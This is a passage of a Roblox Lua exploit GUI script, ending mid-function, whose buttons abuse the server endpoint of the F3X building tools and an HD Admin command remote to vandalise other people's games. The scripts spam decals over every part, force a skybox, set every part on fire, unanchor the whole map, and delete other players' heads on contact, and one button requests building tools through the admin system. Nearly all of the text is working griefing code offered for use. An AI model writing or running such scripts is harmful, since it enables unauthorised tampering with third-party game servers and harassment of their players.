-- Gui to Lua -- Version: 3.2 -- Instances: local ScreenGui = Instance.new("ScreenGui") local ScrollingFrame = Instance.new("ScrollingFrame") local ImageLabel = Instance.new("ImageLabel") local TextLabel = Instance.new("TextLabel") local TextButton = Instance.new("TextButton") local Textbutton = Instance.new("TextButton") local texto = Instance.new("TextButton") local TextButton2 = Instance.new("TextButton") local MACHINE = Instance.new("TextButton") local tttt = Instance.new("TextButton") local t2x2 = Instance.new("TextButton") local TOLIT = Instance.new("TextButton") local solo = Instance.new("TextButton") local ama = Instance.new("TextButton") local TextLabel1 = Instance.new("TextLabel") local kylto = Instance.new("TextButton") local kyla = Instance.new("TextButton") local TextButton_2 = Instance.new("TextButton") local TextButton1 = Instance.new("TextButton") --Properties: ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling ScrollingFrame.Parent = ScreenGui ScrollingFrame.Active = true ScrollingFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ScrollingFrame.BorderColor3 = Color3.fromRGB(0, 0, 0) ScrollingFrame.BorderSizePixel = 0 ScrollingFrame.Position = UDim2.new(0.226499557, 0, 0.161097854, 0) ScrollingFrame.Size = UDim2.new(0, 566, 0, 459) ScrollingFrame.CanvasPosition = Vector2.new(0, 459) ImageLabel.Parent = ScrollingFrame ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ImageLabel.BorderColor3 = Color3.fromRGB(0, 0, 0) ImageLabel.BorderSizePixel = 0 ImageLabel.Position = UDim2.new(-0.0671378076, 0, -0.327886701, 0) ImageLabel.Size = UDim2.new(0, 604, 0, 1135) ImageLabel.Image = "rbxassetid://83275031168870" TextLabel.Parent = ScrollingFrame TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel.BorderSizePixel = 0 TextLabel.Position = UDim2.new(0.249116614, 0, 0, 0) TextLabel.Size = UDim2.new(0, 200, 0, 50) TextLabel.Font = Enum.Font.SourceSans TextLabel.Text = "Require gui f3x v9" TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0) TextLabel.TextSize = 14.000 TextButton.Parent = ScrollingFrame TextButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextButton.BorderColor3 = Color3.fromRGB(0, 0, 0) TextButton.BorderSizePixel = 0 TextButton.Position = UDim2.new(0, 0, 0.176470593, 0) TextButton.Size = UDim2.new(0, 200, 0, 50) TextButton.Font = Enum.Font.SourceSans TextButton.Text = "Decal spam Require community" TextButton.TextColor3 = Color3.fromRGB(0, 0, 0) TextButton.TextSize = 14.000 Textbutton.Name = "Textbutton" Textbutton.Parent = ScrollingFrame Textbutton.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Textbutton.BorderColor3 = Color3.fromRGB(0, 0, 0) Textbutton.BorderSizePixel = 0 Textbutton.Position = UDim2.new(0.0106007066, 0, 0.100217864, 0) Textbutton.Size = UDim2.new(0, 200, 0, 50) Textbutton.Font = Enum.Font.SourceSans Textbutton.Text = "get btools" Textbutton.TextColor3 = Color3.fromRGB(0, 0, 0) Textbutton.TextSize = 14.000 texto.Name = "texto" texto.Parent = ScrollingFrame texto.BackgroundColor3 = Color3.fromRGB(255, 255, 255) texto.BorderColor3 = Color3.fromRGB(0, 0, 0) texto.BorderSizePixel = 0 texto.Position = UDim2.new(0.522968173, 0, 0.100217864, 0) texto.Size = UDim2.new(0, 200, 0, 50) texto.Font = Enum.Font.SourceSans texto.Text = "SkyBox" texto.TextColor3 = Color3.fromRGB(0, 0, 0) texto.TextSize = 14.000 TextButton2.Name = "TextButton2" TextButton2.Parent = ScrollingFrame TextButton2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextButton2.BorderColor3 = Color3.fromRGB(0, 0, 0) TextButton2.BorderSizePixel = 0 TextButton2.Position = UDim2.new(0.522968173, 0, 0.187363833, 0) TextButton2.Size = UDim2.new(0, 200, 0, 50) TextButton2.Font = Enum.Font.SourceSans TextButton2.Text = "thomas" TextButton2.TextColor3 = Color3.fromRGB(0, 0, 0) TextButton2.TextSize = 14.000 MACHINE.Name = "MACHINE" MACHINE.Parent = ScrollingFrame MACHINE.BackgroundColor3 = Color3.fromRGB(255, 255, 255) MACHINE.BorderColor3 = Color3.fromRGB(0, 0, 0) MACHINE.BorderSizePixel = 0 MACHINE.Position = UDim2.new(0, 0, 0.288671017, 0) MACHINE.Size = UDim2.new(0, 200, 0, 50) MACHINE.Font = Enum.Font.SourceSans MACHINE.Text = "fire all" MACHINE.TextColor3 = Color3.fromRGB(0, 0, 0) MACHINE.TextSize = 14.000 tttt.Name = "tttt" tttt.Parent = ScrollingFrame tttt.BackgroundColor3 = Color3.fromRGB(255, 255, 255) tttt.BorderColor3 = Color3.fromRGB(0, 0, 0) tttt.BorderSizePixel = 0 tttt.Position = UDim2.new(0.522968173, 0, 0.282135069, 0) tttt.Size = UDim2.new(0, 200, 0, 50) tttt.Font = Enum.Font.SourceSans tttt.Text = "unachor all" tttt.TextColor3 = Color3.fromRGB(0, 0, 0) tttt.TextSize = 14.000 t2x2.Name = "t2x2" t2x2.Parent = ScrollingFrame t2x2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) t2x2.BorderColor3 = Color3.fromRGB(0, 0, 0) t2x2.BorderSizePixel = 0 t2x2.Position = UDim2.new(0, 0, 0.375817001, 0) t2x2.Size = UDim2.new(0, 200, 0, 50) t2x2.Font = Enum.Font.SourceSans t2x2.Text = "Baseplate" t2x2.TextColor3 = Color3.fromRGB(0, 0, 0) t2x2.TextSize = 14.000 TOLIT.Name = "TOLIT" TOLIT.Parent = ScrollingFrame TOLIT.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TOLIT.BorderColor3 = Color3.fromRGB(0, 0, 0) TOLIT.BorderSizePixel = 0 TOLIT.Position = UDim2.new(0.522968173, 0, 0.375817001, 0) TOLIT.Size = UDim2.new(0, 200, 0, 50) TOLIT.Font = Enum.Font.SourceSans TOLIT.Text = "clone heads" TOLIT.TextColor3 = Color3.fromRGB(0, 0, 0) TOLIT.TextSize = 14.000 solo.Name = "solo" solo.Parent = ScrollingFrame solo.BackgroundColor3 = Color3.fromRGB(255, 255, 255) solo.BorderColor3 = Color3.fromRGB(0, 0, 0) solo.BorderSizePixel = 0 solo.Position = UDim2.new(0, 0, 0.445533782, 0) solo.Size = UDim2.new(0, 200, 0, 50) solo.Font = Enum.Font.SourceSans solo.Text = "alert and sm" solo.TextColor3 = Color3.fromRGB(0, 0, 0) solo.TextSize = 14.000 ama.Name = "ama" ama.Parent = ScrollingFrame ama.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ama.BorderColor3 = Color3.fromRGB(0, 0, 0) ama.BorderSizePixel = 0 ama.Position = UDim2.new(0.522968173, 0, 0.466230929, 0) ama.Size = UDim2.new(0, 200, 0, 50) ama.Font = Enum.Font.SourceSans ama.Text = "shedletsky" ama.TextColor3 = Color3.fromRGB(0, 0, 0) ama.TextSize = 14.000 TextLabel1.Name = "TextLabel1" TextLabel1.Parent = ScrollingFrame TextLabel1.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel1.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel1.BorderSizePixel = 0 TextLabel1.Position = UDim2.new(0.323321551, 0, 0.519607842, 0) TextLabel1.Size = UDim2.new(0, 200, 0, 50) TextLabel1.Font = Enum.Font.SourceSans TextLabel1.Text = "guiz OYE" TextLabel1.TextColor3 = Color3.fromRGB(0, 0, 0) TextLabel1.TextSize = 14.000 kylto.Name = "kylto" kylto.Parent = TextLabel1 kylto.BackgroundColor3 = Color3.fromRGB(255, 255, 255) kylto.BorderColor3 = Color3.fromRGB(0, 0, 0) kylto.BorderSizePixel = 0 kylto.Position = UDim2.new(-0.915000021, 0, 2.05999994, 0) kylto.Size = UDim2.new(0, 200, 0, 50) kylto.Font = Enum.Font.SourceSans kylto.Text = "k00pgui v8 f3x" kylto.TextColor3 = Color3.fromRGB(0, 0, 0) kylto.TextSize = 14.000 kyla.Name = "kyla" kyla.Parent = TextLabel1 kyla.BackgroundColor3 = Color3.fromRGB(255, 255, 255) kyla.BorderColor3 = Color3.fromRGB(0, 0, 0) kyla.BorderSizePixel = 0 kyla.Position = UDim2.new(0.200000003, 0, 2.05999994, 0) kyla.Size = UDim2.new(0, 200, 0, 50) kyla.Font = Enum.Font.SourceSans kyla.Text = "traficshittyhax v3 f3x" kyla.TextColor3 = Color3.fromRGB(0, 0, 0) kyla.TextSize = 14.000 TextButton_2.Parent = TextLabel1 TextButton_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextButton_2.BorderColor3 = Color3.fromRGB(0, 0, 0) TextButton_2.BorderSizePixel = 0 TextButton_2.Position = UDim2.new(-0.915000021, 0, 3.72000003, 0) TextButton_2.Size = UDim2.new(0, 200, 0, 50) TextButton_2.Font = Enum.Font.SourceSans TextButton_2.Text = "z00lkiddl f3x gui" TextButton_2.TextColor3 = Color3.fromRGB(0, 0, 0) TextButton_2.TextSize = 14.000 TextButton1.Name = "TextButton1" TextButton1.Parent = TextLabel1 TextButton1.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextButton1.BorderColor3 = Color3.fromRGB(0, 0, 0) TextButton1.BorderSizePixel = 0 TextButton1.Position = UDim2.new(0.200000003, 0, 3.72000003, 0) TextButton1.Size = UDim2.new(0, 200, 0, 50) TextButton1.Font = Enum.Font.SourceSans TextButton1.Text = "lfuckyskidthedestroyer LEAK LOLZ" TextButton1.TextColor3 = Color3.fromRGB(0, 0, 0) TextButton1.TextSize = 14.000 -- Scripts: local function RITO_fake_script() -- TextButton.Script local script = Instance.new('Script', TextButton) TextButton.MouseButton1Click:Connect(function() -- Replace with your instance name local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("83275031168870") -- Replace with your decal ID end) end coroutine.wrap(RITO_fake_script)() local function XHIV_fake_script() -- Textbutton.Script local script = Instance.new('Script', Textbutton) Textbutton.MouseButton1Click:Connect(function() -- Replace with your instance name local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";btools") -- U can change all of it with your commands! RequestCommand:InvokeServer(";buildingTools") end) end coroutine.wrap(XHIV_fake_script)() local function IPJD_fake_script() -- texto.Script local script = Instance.new('Script', texto) texto.MouseButton1Click:Connect(function() -- Replace with your instance name local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Skybox") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") -- Dont change it SetTexture(v,id) --end) MeshResize(v,Vector3.new(7200, 7200, 7200)) -- The rest must be equal to the first scale number SetLocked(v,true) end end end Sky("83275031168870") -- Replace with your id end) end coroutine.wrap(IPJD_fake_script)() local function TKLMU_fake_script() -- TextButton2.Script local script = Instance.new('Script', TextButton2) TextButton2.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --HICK SI FINNY! remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end local player = game.Players.LocalPlayer local char = player.Character function xd() spawn(function() local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = game:GetService("Players").LocalPlayer.Character.Torso, ["Transparency"] = 1 }, [2] = { ["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Left Leg"), ["Transparency"] = 1 }, [3] = { ["Part"] = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart, ["Transparency"] = 1 }, [4] = { ["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Right Leg"), ["Transparency"] = 1 }, [5] = { ["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Right Arm"), ["Transparency"] = 1 }, [6] = { ["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Left Arm"), ["Transparency"] = 1 }, [7] = { ["Part"] = game:GetService("Players").LocalPlayer.Character.Head, ["Transparency"] = 1 }, } } _(args) end) end function Thomas(player) SetAnchor(true,char.HumanoidRootPart) CreatePart(char.HumanoidRootPart.CFrame,char,"Normal") SetCollision(char.Part,false) SetLocked(char.Part,false) Resize(char.Part,Vector3.new(5,5,10),char.HumanoidRootPart.CFrame) CreateSpotlight(char.Part) SyncLighting(char.Part,100) SetLocked(char.HumanoidRootPart,false) Weld(char.Part,char.HumanoidRootPart,char.Part) SetAnchor(false,char.Part) AddMesh(char.Part) MeshResize(char.Part,Vector3.new(2,2,1.5)) SetMesh(char.Part,"2231280549") SetTexture(char.Part,"2231280614") SetAnchor(false,char.HumanoidRootPart) char.Humanoid.WalkSpeed = 80 local function SFX(id) local s=Instance.new("Sound",char.Torso); s.SoundId = "rbxassetid://"..id; s.Volume = 1; return s; end char.Part.Touched:connect(function(p) if p.Parent then if p.Parent:IsA("Model") then if game.Players:FindFirstChild(p.Parent.Name) then if p.Parent.Name ~= game.Players.LocalPlayer.Name then spawn(function() DestroyPart(game.Players:FindFirstChild(p.Parent.Name).Character.Head) end) local Whistle = SFX(475073913) Whistle:Play() end end end end end) local Music = SFX(0) Music.Pitch = 1.15 Music:Play() game:GetService("RunService").RenderStepped:Connect(function() for i,v in char:GetDescendants() do if v:IsA("BasePart") then char.Humanoid.WalkSpeed = 80 v.CanCollide = false end end end) end Thomas(player) xd() end) end coroutine.wrap(TKLMU_fake_script)() local function HTIRTGZ_fake_script() -- MACHINE.Script local script = Instance.new('Script', MACHINE) MACHINE.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --HICK SI FINNY! remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function AddFire(part) local args = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } _(args) end function FireParts() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) AddFire(v) end) end end FireParts() local player = game.Players.LocalPlayer end) end coroutine.wrap(HTIRTGZ_fake_script)() local function UWOUJV_fake_script() -- tttt.Script local script = Instance.new('Script', tttt) tttt.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --HICK SI FINNY! remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Unanchor() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) SetAnchor(false,v) end) end end Unanchor() end) end coroutine.wrap(UWOUJV_fake_script)() local function ZLGQSDL_fake_script() -- t2x2.Script local script = Instance.new('Script', t2x2) t2x2.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --HICK SI FINNY! remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent,types) local args = { [1] = "CreatePart", [2] = types, [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { 